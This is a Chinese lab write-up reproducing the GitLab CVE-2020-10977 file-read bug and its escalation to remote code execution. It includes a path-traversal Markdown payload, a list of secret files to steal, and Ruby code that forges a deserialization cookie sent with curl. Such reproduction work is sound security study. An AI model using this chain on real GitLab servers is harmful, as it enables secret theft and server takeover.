cve-2020-10977 recurrence
Last Update:
Word Count: 2.7k
Read Time: 12min
简介
GitLab CE/EE 版本 >=8.5,<=12.9
建立环境
网上较多的版本是 使用 Centos 重新建立的 这里用比加快的 Docker 镜像的方法 部署一个环境。Official Doc
参考文章 :
- https://juejin.cn/post/6916343939649765389
- https://atsud0.me/2021/03/09/CVE-2020-10977%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
步骤如下
docker pull 拉取镜像
1
sudo docker pull gitlab/gitlab-ce:12.8.0-ce.0
重新命名 TAG 方便使用 (这步骤可以省略)
1
sudo docker tag a505a4b614a7 cve-2020-10977
导入 基本的环境变量 sethome 这个位置是 docker 容器的位置
1
export GITLAB_HOME=/srv/gitlab
启动 docker 镜像
docker run --detach \ 1
2
3
4
5
6
7
8
9--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
cve-2020-10977
# 这里挂载了 几个镜像的盘 一个是 config 一个是log 一个是 数据 这里三个位置可以小小的记录一下。进入内部环境
1
sudo docker exec -u root -it {docker 容器 cve-2020-10977 的 id 比如我这里是:f26f64d8c1fb} /bin/bash
进去 shell 之后 看看 RELEASE 信息
1
2
3
4root@gitlab:/# cat /RELEASE
RELEASE_PACKAGE=gitlab-ce
RELEASE_VERSION=12.8.0-ce.0
DOWNLOAD_URL=https://downloads-packages.s3.amazonaws.com/ubuntu-xenial/gitlab-ce_12.8.0-ce.0_amd64.deb基础的一些 用户信息 特别是 git user
1
2
3
4
5
6
7
8
9root@gitlab:/# cat /etc/passwd |grep git
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh现在看看 我们docker去哪里了。离开 容器内部 看一下 arp 信息 一般性都能找到
1
2$ arp -a |grep docker
? (172.17.0.2) at 02:42:ac:11:00:02 [ether] on docker0
到此为止 这个镜像的基础环境算是已经搞定了
基本信息
使用 chrome 等 浏览器进入 对应的界面
先前版本的 gitlab 默认帐号密码
1 |
|
当你 访问
先是会跳转到 密码 修改界面 变更你的密码。变更完毕之后 你的登录方式是 root:你的变更的密码
漏洞复现
LFI 过程
创建两个 仓库 例如 test 和 try
在其中一个 仓库 例如 test 提一个 issue
issue 的 描述部分 Write 使用 Markdown 格式的 payload 这里存在 LFI (Local File Inclusion) 漏洞
1
![a](/uploads/1111111111111111111111111111111111111111111/../../../../../../../../../../../../etc/passwd)
保存 issue 这时候还看不到 具体的信息
将这个 issue 进行转移 即 move issue 转移到 第二个仓库 try 中
访问 try 仓库的 issue 就会发现 这个 issue 的描述 存在一个链接 { 即文件passwd }
访问这个链接 便可以下载到 具体的 passwd 文件
做安全的都会有一种敏感性我觉得。
就目前已知 payload 的情况我们可以略微的猜测一下:
- 在转移 issue 的时候 gitlab 没有设置路径的检查或弱检查 同时盲目的引入了内容
- passwd 文本疑似被 git 的转存机制给暂时所转存 使得路径的检查失败 当转存发生在 Move issue的路径检查之前时很有可能就会发生这种问题
具体可能需要定位源码再来解释。从性质上来说 前者是程序员的安全意识疏忽 后者是处理上的逻辑漏洞。我更为偏向后我更为偏向后者。(毕竟是一个大范围版本通杀)
RCE 过程
- 这里需要横多的信息 有如下几个
- 我们现在所在的用户组在 git:git
- 我们可以检查一下当前 作为 git 用户可以 读取的敏感配置文件 可以用指令
find / -type f -perm -u+r 2>/dev/null|grep {你想要寻找的带路径文件名称 正则表达式}
- /var/opt/gitlab/gitlab-rails/etc/database.yml 数据库信息 包含用户名 可能含有密码
- /var/opt/gitlab/gitlab-rails/etc/secrets.yml !!! 这是最为重要的密钥保存点 保存了 几乎整个 rails 最重要的 secrets base
- /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 同上
- /var/opt/gitlab/gitlab-rails/etc/gitlab.yml app 核心
- /var/opt/gitlab/gitlab-rails/etc/resque.yml
- /var/opt/gitlab/gitlab-shell/config.yml
- /var/opt/gitlab/gitlab-rails/etc/gitlab_pages_secret
- /var/opt/gitlab/gitlab-rails/etc/gitlab_shell_secret
- /var/opt/gitlab/gitlab-rails/etc/gitlab_workhorse_secret
- 盗取到对应的 gitlab key base 位置在 绝对路径 /var/opt/gitlab/gitlab-rails/etc/secrets.yml
1 |
|
通过上述的 LFI 操作将文件下载下来两个文件 理应是一致的
- 可以获得如下的 key base 其中最为重要的是 secret_key_base 字段
- db_key_base: 1bdc9b1cbb50c7a2415dcafeb5499e95f16b90e75eb7d0ca7ae84ed5816f4cc92300976a2bdb2a4962137d2356e1005a14ab717cc00a952365828fb4ca1d2ad6
- secret_key_base: 6667c4c85f80291990f74f6af8262ee43e4db96c19f0b4a0ba9d19e9c33792fff67f1db370c546ecb3c364c4b38ddf2084fb7a03d822b15828a1b0285a801d20
- otp_key_base: e8c41b7aa30ba3eb32fc478705c4c22f83f1665051389fbe7d4e942f65af4804d1a3e09d2bd38d7249ed19c53f48ee42552240931091d3e4bf9a0b648130594d
在 本地 建立 一个 gitlab 环境 对应进行如下的 反序列化 RCE payload 生成
1
2
3
4
5
6
7
8
9gitlab-rails console # 进入rails console
# in console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `{Command you wnat execute}` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]构造最终请求
1
curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie"
例如我这里的 payload
1 |
|
- 当 你在 7777 端口进行监听的时候 便可以获得 梦寐以求的 shell 返回 如下
1 |
|
内容扩展
在 从 LFI 进阶到命令执行的时候 可能会让很多新人迷惑 如果 不能完好解释出来这一点的话
这里使用了 Session 反序列化技巧 构造出一个 恶意的 cookie 名字为 experimentation_subject_id
值为对应的 那一长串对象的构造
然后请求一个必然 存在反序列化过程的 API (例如上面 /users/sign_in 登录接口)
应为此处 Cookie 对应的是 用户会话类型的对象 那么 最常使用的便是 登录 登出 接口
同样具有类似操作的还有 Python 的 Django 框架
当 Python 的 Django Secret key 泄露的时候 如发炮制 同样也可以造成 RCE
参考文章 http://www.code2sec.com/djangode-secret-keyxie-lou-dao-zhi-de-ming-ling-zhi-xing-shi-jian.html
当 Django 中 Secret Key 用作于 session 加密 并且 cookie-based session 的时候 session data 是存在于 用户处的
一旦任何数据存在于用户处都可造成 伪造的风险
当服务器需要从拿出 Session 会话的数据进行操作的时候 就会对 Cookie 进行反序列化操作
而 python 有一个知名的 反序列化库 具有这种问题 pickle
1 |
|
如此 bit4 给出了 对应的 Django POC
1 |
|
当然 这个脚本可以进行一波 武器化
后续研究
我查找了具体当时 HackerOne 的漏洞说明
https://hackerone.com/reports/827052
可以说基本验证了我的两个猜想。一个是对转存文件的弱检查
1 |
|
这是使用的 Markdown 对 32位的 全数字小写字母的匹配 并且解析出 secret 和 file 值
在下面的 Ruby 代码中
1 |
|
find_file 函数也并未对 file 的值存在任何效验
当不存在时 尝试根据提供的地址拷贝该文件 这里应该也并未有文件的效验。
作者还提供了 升级为 RCE 的扩大利用方法。
其原理正是之前我有提到的 Cookies 存储方式是字符串存储的不安全对象
这一个文件说明了 experimentation cookie 的处理方式。
Think
我觉得身为安全人员需要有一种警惕性和敏感性。 漏洞挖掘其实并不能只是浮于表面。这里的表面具有两种含义。
一是不能止步于此。 尽管你发现的是 一个小小的应用程式 XSS 但是万一后面是 能运行处理 javascript 的 electron 应用呢? 或者你仅仅是发现了文件包含的点,或是尝试 引用出重要的配置文件(各种 secret base ,默认位置数据库备份)
二是不能止步于操作和利用。 很多情况下 我们需要回归源码 寻找程序员当时编写程序的具体疏漏之处。从源码的角度解释出具体的漏洞产生原因。